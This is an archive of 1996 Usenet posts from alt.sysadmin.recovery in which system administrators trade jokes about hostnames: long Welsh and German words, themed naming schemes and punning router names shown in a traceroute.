sposed.bu.edu > sputable.bu.edu stinct.bu.edu vidual.bu.edu > >No word yet from the panel of judges who had >previously disqualified the .bu.edu domain for its >sloppy entry of well over 36 cartoon characters >from mismatched studios, including pooh, gonzo, >bugs, and pluto on the same subnet. > >Back to the satellite uplink. Dan? Meanwhile, on the West Coast, UCSC is making a bid for the lead in the category of "Best Single Router Name" with the following host: traceroute to bob.UCSC.EDU (128.114.143.26), 30 hops max, 40 byte packets 1 core-fddi3-0.mv.best.net (206.86.0.1) 2 ms 221 ms 32 ms 2 mae-west1.agis.net (198.32.136.63) 96 ms 77 ms 48 ms 3 cpe1.hay.mci.net (198.32.136.72) 85 ms 69 ms 60 ms 4 core3-hssi-2.SanFrancisco.mci.net (204.70.1.13) 60 ms 55 ms 86 ms 5 core2.SanFrancisco.mci.net (204.70.4.201) 71 ms 53 ms * 6 * borderx1-fddi-1.SanFrancisco.mci.net (204.70.158.52) 56 ms * 7 barrnet.SanFrancisco.mci.net (204.70.158.102) 160 ms 157 ms 144 ms 8 * * paloalto-cr1.bbnplanet.net (131.119.0.201) 134 ms 9 santacruz-cr1.bbnplanet.net (131.119.78.146) 112 ms * 136 ms 10 U-SURE-R-NOSEY.UCSC.EDU (128.114.100.250) 140 ms 131 ms * 11 sinsheimer-g.UCSC.EDU (128.114.1.240) 142 ms * * 12 bob.UCSC.EDU (128.114.143.26) 125 ms 156 ms 158 ms Again, in instant replay, that's: 10 U-SURE-R-NOSEY.UCSC.EDU (128.114.100.250) 140 ms 131 ms * By the way, vampyr, I miss your web pages. Back to the studio! -- Bryant Durrell http://www.innocence.com/ durrell@innocence.com ------------------------------------------------------------------------------ "Become who you are." -- Nietzshe From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:38 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!panix!not-for-mail From: ikuo@panix.com (Kim Scheinberg) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 15:49:04 -0400 Organization: Obiter dictum Lines: 28 Message-ID: <4pn6vg$16m@panix2.panix.com> References: <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pi1qa$4lf@news.bu.edu> NNTP-Posting-Host: panix2.panix.com vampyr@bu.edu (Eamon Daly) deserves a Nobel for >Gary Barnes (gkb@aber.ac.uk) wrote: >: And now back to Dan for more details of the entries in the "short and >: snappy" category where MIT again have quite a strong showing, and >: dam.mit.edu and vo.mit.edu look certain to be battling it out in the final. > >Sorry to interrupt your update, Dan, but to the >amazement of the Eastern Seaboard Conference, >Boston University, in an entirely uncharacteristic >move, has actually brought a note of humor to the >mci.net routing table with their network of SGI >Indy's: > > gestion.bu.edu gnant.bu.edu sposed.bu.edu > sputable.bu.edu stinct.bu.edu vidual.bu.edu I have to say, this is beautiful I refuse to comment on server names here. Personal machines are allowed whatever name the user chooses. Mine are archy and mehitabel One network I managed many moons ago had exactly 26 machines. Yes, I went the mythology route, with each machine's name starting with each letter of the alphabet klytemnestra was my fave -k. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:39 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.mathworks.com!nntp.primenet.com!news.cais.net!news2.cais.com!jdfalk From: jdfalk@cyberNOTHING.org (J.D. Falk) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 1996 04:27:01 GMT Organization: cyberNOTHING Lines: 30 Message-ID: <4pisil$hdh@news2.cais.com> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> Reply-To: jdfalk@cybernothing.org NNTP-Posting-Host: cais.com X-asr: Idontliketuesdayeither X-no-archive: yes X-Disclaimer: I am not speaking as an official representative of Capital Area Internet Service, Inc. X-Disclaimer-Comment: Disclaimers should not be necessary. X-NetAccess: Remember, Hillary is your friend. Slugs are mandatory. X-US-Congress: Moronic fucks. X-Headers: Yes, I probably have too many. In the scary devil monastery, Gary Barnes wrote... > Well, the Welsh team have a very strong entry this year, an entry that is > even gaining popularity on the other side of the pond too. I of course refer > to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that > is hard to beat in anyone's estimation, and which is considered quite safe > from any competition from my-hostname-is-longer-than-yours.mit.edu (the only > other serious contender gratuitouslylonghostname.apana.org.au now seems to > have been withdrawn). Well you know, Gary, the Welsh have an historical advantage when it comes to lengthy hostnames. The only other real contenders against the Welsh in this category may be one of the German teams. -- ---------========== J.D. Falk =========--------- | "The Ogre philosopher Gnerdel beleived the purpose of life | | was to live as high on the food chain as possible. | | She refused to eat vegetarians, and preferred to live entirely | | on creatures that preyed on sentient beings." | | -Magic: The Gathering "Grey Ogre" | ----========== http://www.cybernothing.org/jdfalk/home.html ==========---- -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GCM/CC/IT d---()? s+:+ a21 C++(+++)$ UBLOS*++++$ P+$>++++ L(+)$ E->+ W++(--)$ N++++$ o++ K+++ w+(--) !O !M V-- PS(++) PE@ Y+ PGP->++ t+(++) 5+ X+(+++) R(+++)>+ tv+ b+++ DI++(+++) D+ G++(+++) e h-(++) r>++ y+ ------END GEEK CODE BLOCK------ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:40 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!howland.reston.ans.net!surfnet.nl!news.kub.nl!kubix!not-for-mail From: provers@kub.nl (Perry Rovers) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 1996 22:58:18 GMT Organization: Tilburg University, Tilburg, The Netherlands Lines: 24 Message-ID: <4pktma$ke0@mailnews.kub.nl> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> Reply-To: Perry.Rovers@IAEhv.nl NNTP-Posting-Host: kubix.kub.nl X-Newsreader: TIN [UNIX 1.3 950824BETA PL0] On 11 Jun 1996 04:27:01 GMT J.D. Falk (jdfalk@cyberNOTHING.org) wrote in alt.sysadmin.recovery: [Ye Annual Hostnaming Round...] : Well you know, Gary, the Welsh have an historical advantage when : it comes to lengthy hostnames. : The only other real contenders against the Welsh in this category : may be one of the German teams. Oh? I didn't know Germans had many long-winding names.. Let's hear them.. Good fun when I'm driving there later this year. On the bad side, my university will probably end at the last place in this year's hostname competition for being totally unimaginative... with hostnames like kubsuX, kubvaX, kubvsX, kubdsX, spXXXX, piXXXX, dpXXXX, diXXXX, kubaxX, kubasX, kubprsX and more of that kind of thing. (with X being numbers or letters, kubsux is a nice name for a Sun though ;) My own network currently consists of machines named garfield in different domains.. it's another approach to the naming decision altogether. -- Perry Rovers, Tilburg University, Tilburg, The Netherlands NOTE: provers@kub.nl does NOT work for e-mail, use Perry.Rovers@kub.nl From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:41 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!vixen.cso.uiuc.edu!newsrelay.iastate.edu!news.iastate.edu!pv6f17.vincent.iastate.edu!spberry From: spberry@iastate.edu (Sean Berry) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 96 23:29:34 GMT Organization: Iowa State University, Ames, Iowa Lines: 23 Message-ID: References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> NNTP-Posting-Host: pv6f17.vincent.iastate.edu In <4pisil$hdh@news2.cais.com> jdfalk@cyberNOTHING.org (J.D. Falk) writes: >In the scary devil monastery, Gary Barnes wrote... [...] >> to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that [...] > Well you know, Gary, the Welsh have an historical advantage when >it comes to lengthy hostnames. > The only other real contenders against the Welsh in this category >may be one of the German teams. Vielleicht Bundesrepublikfussballverein? :) And that one's not even very descriptive. Perhaps we could go with Deutscheschokoladeschwarzwaldtortefussballverein? (Although I don't know why you'd name a football team after a cake, it was very yummy. :) ) spb -- Sean Berry is an ISTJ cellist who works in netbsd. (must have more toys) I imagine someone is likely to misinterpret my opinions as those of my various employers. This is not the case. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:42 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!news.uoregon.edu!waikato!canterbury.ac.nz!not-for-mail From: misc1150@cantua.canterbury.ac.nz (Craig Falconer) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 10:49:32 GMT Organization: University of Canterbury Lines: 19 Message-ID: <4pm7bs$q49@cantuc.csc.canterbury.ac.nz> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> NNTP-Posting-Host: cantua.canterbury.ac.nz X-Newsreader: TIN [UNIX 1.3 950427BETA PL0] Sean Berry (spberry@iastate.edu) wrote: : >> to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that : Vielleicht Bundesrepublikfussballverein? :) And that one's not even very : descriptive. Perhaps we could go with : Deutscheschokoladeschwarzwaldtortefussballverein? (Although I don't know : why you'd name a football team after a cake, it was very yummy. :) ) Reminds me of one of those "funny" papers that some users stick on their notice boards, and actually this one was good enough to stick in my mind How about #telnet spittenschparkenpoppenkorken -- -- Criggie the Wierd! "They called me mad, and I called them mad, and damn `'`'`'`'`'`'`'`'`' them, they outvoted me." - Nathaniel Lee on being consigned to a mental institution, circa 17th c. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:43 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!nntp.uio.no!geirem From: geirem@ulrik.uio.no (Geir Emblemsv}g) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 13:23:56 GMT Organization: University of Oslo, Norway Lines: 14 Message-ID: <4pmgdc$dov@ratatosk.uio.no> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> <4pm7bs$q49@cantuc.csc.canterbury.ac.nz> NNTP-Posting-Host: agnar.uio.no In article <4pm7bs$q49@cantuc.csc.canterbury.ac.nz>, misc1150@cantua.canterbury.ac.nz (Craig Falconer) writes: > Sean Berry (spberry@iastate.edu) wrote: > : >> to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that > > How about #telnet spittenschparkenpoppenkorken Cool, my first DSW! (I think...) Try this machinename: mjoðvitnir The Department of CompSci here uses the machine as a LART. -- Sir Geir the Gloomy of .no From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:44 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!howland.reston.ans.net!Germany.EU.net!ruhr.de!xivic.ruhr.de!not-for-mail From: ws@xivic.ruhr.de (Wolfgang Schelongowski) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 15 Jun 1996 08:10:46 +0200 Organization: Private site in Germany Lines: 20 Message-ID: <4ptk56$ed8@xivic.ruhr.de> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> NNTP-Posting-Host: xivic.ruhr.de Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In spberry@iastate.edu (Sean Berry) writes: >In <4pisil$hdh@news2.cais.com> jdfalk@cyberNOTHING.org (J.D. Falk) writes: >> The only other real contenders against the Welsh in this category >>may be one of the German teams. >Vielleicht Bundesrepublikfussballverein? :) And that one's not even very >descriptive. Perhaps we could go with >Deutscheschokoladeschwarzwaldtortefussballverein? (Although I don't know >why you'd name a football team after a cake, it was very yummy. :) ) Try Donaudampfschiffahrtsgesellschaftskapitaen. Hmmm, better try Donaudampfschiffahrtsgesellschaftskapitaensmuetze. The ae and ue are ä and ü. -- Wolfgang Schelongowski ws@xivic.ruhr.de One person with a good diff can change the world. /r$ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:45 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.cais.net!newsfeed.internetmci.com!usenet.eel.ufl.edu!yama.mcc.ac.uk!daresbury!lyra.csx.cam.ac.uk!news.ox.ac.uk!mert0236 From: mert0236@sable.ox.ac.uk (Thomas Womack) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 15 Jun 1996 11:24:27 GMT Organization: Oxford University, England Lines: 39 Message-ID: <4pu6hb$lm7@news.ox.ac.uk> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> <4ptk56$ed8@xivic.ruhr.de> NNTP-Posting-Host: sable.ox.ac.uk X-Newsreader: TIN [version 1.2 PL2] Wolfgang Schelongowski (ws@xivic.ruhr.de) wrote: : In spberry@iastate.edu (Sean Berry) writes: : >In <4pisil$hdh@news2.cais.com> jdfalk@cyberNOTHING.org (J.D. Falk) writes: : >> The only other real contenders against the Welsh in this category : >>may be one of the German teams. : >Vielleicht Bundesrepublikfussballverein? :) And that one's not even very : >descriptive. Perhaps we could go with : >Deutscheschokoladeschwarzwaldtortefussballverein? (Although I don't know : >why you'd name a football team after a cake, it was very yummy. :) ) : Try Donaudampfschiffahrtsgesellschaftskapitaen. Hmmm, better try [The captain from the Danube steamship-journey company] : Donaudampfschiffahrtsgesellschaftskapitaensmuetze. The ae and ue are [The cap of the captain from the Danube steamship-journey company] Donaudampfschiffahrtsgesellschaftskapitaensmuetzesternlein. [The little star on the cap of the captain from the Danube steamship-journey company] Aren't languages with flexible word formation rules wonderful! : ä and ü. : -- : Wolfgang Schelongowski ws@xivic.ruhr.de : One person with a good diff can change the world. : /r$ -- Tom "The first Ariane 5 flight did not result in validation of Europe's new launcher" From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:46 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!mr.net!sgigate.sgi.com!enews.sgi.com!ames!waikato!news.express.co.nz!chch.planet.co.nz!news.plain.co.nz!airdmhor.gen.nz!airdmhor.gen.nz!not-for-mail From: moz@airdmhor.gen.nz (Moz) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 16 Jun 1996 02:29:09 +1200 Organization: Airdmhor Lines: 18 Message-ID: <4puhbl$dso@airdmhor.gen.nz> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> NNTP-Posting-Host: airdmhor.gen.nz X-Newsreader: TIN [version 1.2 PL2] J.D. Falk (jdfalk@cyberNOTHING.org) wrote: : Well you know, Gary, the Welsh have an historical advantage when : it comes to lengthy hostnames. : The only other real contenders against the Welsh in this category : may be one of the German teams. Or the Maaori. There's a locality (I use the term generously) known as Taumatawhakatangihangakoauauotamateapokaiphenuakitanatauhu, and presumably the local internet provider is that .planet.gen.nz. It's in Hawkes Bay, and like the Welsh the name is possible to say, even (or especially) when slightly inebriated. I'm pretty sure my spelling is accurate :-) Very tempted to register it myself, because it would just about guarantee my exclusion from junk mail. Even the cut-n-paste crowd aren't going to want to put that much text in just for one address. So take that and stick it in your DNS. *hugs* Moz From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:47 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!imci2!news.internetMCI.com!newsfeed.internetmci.com!in2.uu.net!brighton.openmarket.com!decwrl!waikato!canterbury.ac.nz!not-for-mail From: misc1150@.canterbury.ac.nz (Craig Falconer) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 17 Jun 1996 00:27:55 GMT Organization: University of Canterbury Lines: 15 Message-ID: <4q28qb$4mn@cantuc.canterbury.ac.nz> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pisil$hdh@news2.cais.com> <4puhbl$dso@airdmhor.gen.nz> NNTP-Posting-Host: cantua.canterbury.ac.nz X-Newsreader: TIN [UNIX 1.3 950427BETA PL0] Moz (moz@airdmhor.gen.nz) wrote: : Or the Maaori. There's a locality (I use the term generously) known as : Taumatawhakatangihangakoauauotamateapokaiphenuakitanatauhu, If you're going to use the PC spelling for Maori "Maaori" then at least be consistant with: Taaumaataawhaakaataangihaangaakoaauaauotaamaateaapokaaiphenuaakitaanaataauhu /end{pc} -- -- Criggie the Wierd! "They called me mad, and I called them mad, and damn `'`'`'`'`'`'`'`'`' them, they outvoted me." - Nathaniel Lee on being consigned to a mental institution, circa 17th c. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:48 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!cdc2.cdc.net!vixen.cso.uiuc.edu!usenet From: roth@uiuc.edu (Mark D. Roth) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 15:50:15 GMT Organization: University of Illinois at Urbana Lines: 15 Message-ID: <4phg7n$t2f@vixen.cso.uiuc.edu> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> Reply-To: roth@uiuc.edu NNTP-Posting-Host: dynamic.isdn.uiuc.edu X-Newsreader: NN version 6.5.0 #2 (NOV) gkb@aber.ac.uk (Gary Barnes) writes: >Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far >this year, we've seen some very innovative new entries, and surprisingly, >some of the more popular mythological and planetary names have yet to make >an appearance, but there's plenty of time yet for them to make a move yet, >as this thread is just starting. So, sit back, and enjoy the fun as >alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. *scribble* -- Mark D. Roth - roth@uiuc.edu | Wally: "You're mighty brave in http://www.uiuc.edu/ph/www/roth | cyberspace, Flame-Boy!" Chair, UIUC Linux Users' Group | Dilbert: "Step inside..." From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:49 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!torn!nott!bcarh189.bnr.ca!bmerhc5e.bnr.ca!bcrkh13.bnr.ca!news From: Joanne Rogers Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: Mon, 10 Jun 1996 12:41:48 -0400 Organization: Nortel Canada Lines: 15 Message-ID: <31BC504C.384F@nortel.com> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> NNTP-Posting-Host: 47.235.1.110 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 2.0 (X11; I; HP-UX A.09.05 9000/712) Gary Barnes wrote: > > In article <4pciv0$nol@news2.cais.com>, > J.D. Falk wrote: > :In the scary devil monastery, > : Benjamin Hutchings wrote... > : > :> In article <4pcbln$dmn@zeus.tcp.co.uk>, Markus Laker wrote: > :> >lithium@cia-g.com (Stephen Fisher) wrote: > :> > Actually, we decided to go with the names of politicians, at least for our printers. Who else do you know that can generate so much paper...? -- Joanne Rogers Voice: (416) 597-7409 or ESN 338-7409 Nortel Toronto Lab Email: rogerj@bnr.ca From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:50 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.mathworks.com!nntp.primenet.com!news1.best.com!nntp1.best.com!shellx.best.com!not-for-mail From: durrell@shellx.best.com (Bryant Durrell) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 12:54:52 -0700 Organization: Semiotic Marines, Altoid Squad Lines: 38 Message-ID: <4phuic$bga@shellx.best.com> References: <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> NNTP-Posting-Host: shellx.best.com In article <4ph1ln$575@osfb.aber.ac.uk>, Gary Barnes wrote: >In article <4pciv0$nol@news2.cais.com>, >J.D. Falk wrote: >:In the scary devil monastery, >: Benjamin Hutchings wrote... >: >:> In article <4pcbln$dmn@zeus.tcp.co.uk>, Markus Laker wrote: >:> >lithium@cia-g.com (Stephen Fisher) wrote: >:> > >:> >> How about fruits {apple, bananna, orange} as hostnames? >:> > >:> >I've used composers: Bach, Brahms, Mahler. My boss complains that he has >:> >trouble spelling them: 'not everyone is as operatically literate [sic] as >:> >you.' The other day I pointed out that he should be grateful I didn't use >:> >Rachmaninov, Shostakovich and Dohnanyi. >:> >:> Here we are more restrictive: Italian composers only. We have rossini, >:> vivaldi, corelli and monteverdi. I don't know what will happen if we add >:> more to the network (as if the college will buy us more!). >: >: Switch to Italian meats. Seriously, how many people will know >:that Monteverdi was a composer, and Mortadella or Proscutto weren't?[1] > >Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far >this year, we've seen some very innovative new entries, and surprisingly, >some of the more popular mythological and planetary names have yet to make >an appearance, but there's plenty of time yet for them to make a move yet, >as this thread is just starting. So, sit back, and enjoy the fun as >alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. If I'm ever really bored, and in a position to do so, I'll name a set of firewalls ramses, kimono, goldcircle, and so forth. -- Bryant Durrell http://www.innocence.com/ durrell@innocence.com ------------------------------------------------------------------------------ Proof by eminent authority: I saw Karp in the elevator and he said it was probably NP-complete. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:51 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!news.ac.net!news.serv.net!usenet From: trif@serv.net (Mary Conner) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 00:08:22 -0700 Organization: Care Bear Dismemberment Society Lines: 13 Message-ID: <4plqd6$bg@imp.serv.net> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4phuic$bga@shellx.best.com> Reply-To: trif@serv.net NNTP-Posting-Host: imp.serv.net In article <4phuic$bga@shellx.best.com>, Bryant Durrell wrote: >If I'm ever really bored, and in a position to do so, I'll name a >set of firewalls ramses, kimono, goldcircle, and so forth. >Bryant Durrell http://www.innocence.com/ durrell@innocence.com ribbedforherpleasure.innocence.com? CNK! -- Mary Conner trif@serv.net From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:52 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!nntp.coast.net!howland.reston.ans.net!surfnet.nl!news.kub.nl!kubix!not-for-mail From: provers@kub.nl (Perry Rovers) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 19:37:34 GMT Organization: Tilburg University, Tilburg, The Netherlands Lines: 17 Message-ID: <4pn69u$f9b@mailnews.kub.nl> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4phuic$bga@shellx.best.com> <4plqd6$bg@imp.serv.net> Reply-To: Perry.Rovers@IAEhv.nl NNTP-Posting-Host: kubix.kub.nl X-Newsreader: TIN [UNIX 1.3 950824BETA PL0] On 12 Jun 1996 00:08:22 -0700 Mary Conner (trif@serv.net) wrote in alt.sysadmin.recovery: : In article <4phuic$bga@shellx.best.com>, : Bryant Durrell wrote: : >If I'm ever really bored, and in a position to do so, I'll name a : >set of firewalls ramses, kimono, goldcircle, and so forth. : : >Bryant Durrell http://www.innocence.com/ durrell@innocence.com : : ribbedforherpleasure.innocence.com? I recently saw your-hostname-here.nl.com and u-sure-r-nosey.ucsc.edu (I think, try tracerouting to bob.ucsc.edu) being mentioned. -- Perry Rovers, Tilburg University, Tilburg, The Netherlands NOTE: provers@kub.nl does NOT work for e-mail, use Perry.Rovers@kub.nl From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:52 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!warwick!wmin.ac.uk!ux202.wmin.ac.uk!ncfee From: ncfee@westminster.ac.uk (Chris Ebenezer) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 13:58:24 GMT Organization: University of Westminster Lines: 23 Message-ID: <4pp6q0$17a@badger.wmin.ac.uk> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4phuic$bga@shellx.best.com> <4plqd6$bg@imp.serv.net> <4pn69u$f9b@mailnews.kub.nl> NNTP-Posting-Host: ux202.wmin.ac.uk X-Newsreader: TIN [version 1.2 PL2] Perry Rovers (provers@kub.nl) wrote: : On 12 Jun 1996 00:08:22 -0700 Mary Conner (trif@serv.net) wrote in alt.sysadmin.recovery: : : In article <4phuic$bga@shellx.best.com>, : : Bryant Durrell wrote: : : >If I'm ever really bored, and in a position to do so, I'll name a : : >set of firewalls ramses, kimono, goldcircle, and so forth. : : : : >Bryant Durrell http://www.innocence.com/ durrell@innocence.com : : : : ribbedforherpleasure.innocence.com? : I recently saw your-hostname-here.nl.com : and u-sure-r-nosey.ucsc.edu (I think, try tracerouting to bob.ucsc.edu) : being mentioned. Well, currently cabi.net have an entry for :- I.like.playing.with.my.testicles.in.the.cabi.net Chris. -- From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:53 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news1.best.com!news.texas.net!news.kei.com!newsfeed.internetmci.com!uwm.edu!math.ohio-state.edu!news.cyberstore.ca!vortex.netbistro.com!grimm From: grimm@vortex.netbistro.com (Ernie Dunbar) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 15 Jun 1996 03:09:05 GMT Organization: Cyberstore Systems Inc. Lines: 32 Message-ID: <4pt9gh$mbm@scipio.cyberstore.ca> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4phuic$bga@shellx.best.com> <4plqd6$bg@imp.serv.net> <4pn69u$f9b@mailnews.kub.nl> NNTP-Posting-Host: 204.244.105.1 X-Newsreader: TIN [version 1.2 PL2] Perry Rovers (provers@kub.nl) screamed into the void: : On 12 Jun 1996 00:08:22 -0700 Mary Conner (trif@serv.net) wrote in alt.sysadmin.recovery: : : In article <4phuic$bga@shellx.best.com>, : : Bryant Durrell wrote: : : >If I'm ever really bored, and in a position to do so, I'll name a : : >set of firewalls ramses, kimono, goldcircle, and so forth. : : : : >Bryant Durrell http://www.innocence.com/ durrell@innocence.com : : : : ribbedforherpleasure.innocence.com? The brand names are more recognizable, like ramses, sheik, trojan, and the like. Individually, it might be innocuous. Around here, we have natural disasters (for most of them) as machine names: vortex (our server) tornado pestilence (our slowest machine) chinook thunder lightning flood blizzard and one more, which has slipped my mind. ------------------------------------------------------------------------- "Do I look like someone who cares what | It is interesting that I work in God thinks?" | one of the two industries in the | world that call their customers -- out of Hellraiser Bloodline | "users." ------------------------------------------------------------------------- From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:54 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!news.zeitgeist.net!cuccia From: cuccia@motherhouse.Talamasca.COM (Nick Cuccia) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 16:12:46 GMT Organization: The Talamasca. We watch. And we are always here. Lines: 14 Message-ID: <4pmq9u$21u@kadath.zeitgeist.net> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4phuic$bga@shellx.best.com> NNTP-Posting-Host: talamasca.com In article <4phuic$bga@shellx.best.com>, Bryant Durrell wrote: >If I'm ever really bored, and in a position to do so, I'll name a >set of firewalls ramses, kimono, goldcircle, and so forth. What? You mean that asbestos, co2, halon, water, and foam aren't good enough for you? --Nick -- Nick Cuccia -- 